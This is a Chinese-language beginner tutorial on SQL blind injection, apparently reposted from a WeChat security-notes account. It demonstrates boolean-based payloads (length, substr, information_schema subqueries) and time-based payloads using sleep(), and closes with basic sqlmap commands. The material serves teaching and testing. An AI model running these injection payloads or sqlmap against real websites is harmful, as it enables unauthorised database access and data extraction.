渗透测试基础-盲注

admin 2022年5月16日02:47:04评论33 views字数 1107阅读3分41秒阅读模式

盲注


盲注:我们通过判断的方式,去查询相关数据内容。

?id=1 and 1=1

?id=1 and 1=2 


布尔盲注


database();  # 查询当前数据库名


length() # 函数,作用是查询长度。

Eg:length('cmd')  # 输出的是:3


length(database()) # 查询的是【当前数据库库名】的长度。



length(database())=2  --> 无查询数据 --> 当前数据库的库名不是2个字符。


渗透测试基础-盲注


渗透测试基础-盲注


数据库库名是kanwolongxia。


length(database())=12 --> 有查询数据 --> 当前数据库的库名长度是12个字符。


渗透测试基础-盲注


渗透测试基础-盲注


substr(字符串,m,n)  # 函数,作用是截取。


substr('cmd',1,1) #  --> 截取的是 c  

substr('lineing_shre',7,1)   # --> 截取的是:g

 

substr(database(),1,1)  # 截取【当前数据库库名】的第一个字符。

and substr(database(),1,1)='a' --> 页面无内容--> 说明当前数据库库名第一个字符不是a。


渗透测试基础-盲注


渗透测试基础-盲注


and substr(database(),1,1)='b'-->页面无内容--> 说明当前数据库库名第一个字符不是b


渗透测试基础-盲注


渗透测试基础-盲注


and substr(database(),1,1)='k' -->页面有内容 -->  说明当前数据库库名第一个字符是k


渗透测试基础-盲注


渗透测试基础-盲注


and substr(database(),2,1)='a'-->页面有内容 -->  说明当前数据库库名第二个字符是a


渗透测试基础-盲注


渗透测试基础-盲注


盲注很费时间对不对。-->   sqlmap工具  -->专门针对数据库注入漏洞


或and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'a' --> 第一个字符不是a


ps:布尔盲注--> 判断网页有/无内容

时间盲注 --> 判断,这个根据网页显示的时间来判断的。


时间盲注 


sleep()  # 这个函数能让网页延迟显示。

and sleep(5) # 网站延时了5秒再显示。


if(length(database())=12,sleep(5),1) --> 网站延迟显示5秒,说明判断条件是对的-->当前数据库库明的长度是12。


渗透测试基础-盲注



渗透测试基础-盲注


网站延迟显示5秒。


sqlmap工具  


sqlmap工具  , 针对的是数据库注入漏洞,而且偏爱盲注。


基本使用

python sqlmap.py -u "URL";

python -u "URL"(kali)


渗透测试基础-盲注


输入网址


渗透测试基础-盲注


渗透测试基础-盲注


输出结果


渗透测试基础-盲注


ps:sqlmap工具,kali自带。












原文始发于微信公众号(小白安全的笔记):渗透测试基础-盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日02:47:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试基础-盲注https://cn-sec.com/archives/1009336.html

发表评论

匿名网友 填写信息